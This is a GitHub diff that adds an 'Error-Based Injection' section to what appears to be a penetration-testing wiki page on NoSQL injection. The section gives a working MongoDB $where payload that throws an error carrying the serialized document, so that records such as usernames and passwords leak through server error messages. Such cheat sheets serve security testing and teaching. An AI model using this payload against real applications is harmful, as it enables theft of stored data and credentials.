You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/pentesting-web/nosql-injection.md
+9Lines changed: 9 additions & 0 deletions
Original file line number
Diff line number
Diff line change
@@ -126,6 +126,14 @@ It's possible to use [**$lookup**](https://www.mongodb.com/docs/manual/reference
126
126
]
127
127
```
128
128
129
+
### Error-Based Injection
130
+
131
+
Inject `throw new Error(JSON.stringify(this))`in a `$where` clause to exfiltrate full documents via server-side JavaScript errors (requires application to leak database errors). Example:
132
+
133
+
```json
134
+
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
135
+
```
136
+
129
137
## MongoDB Payloads
130
138
131
139
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
0 commit comments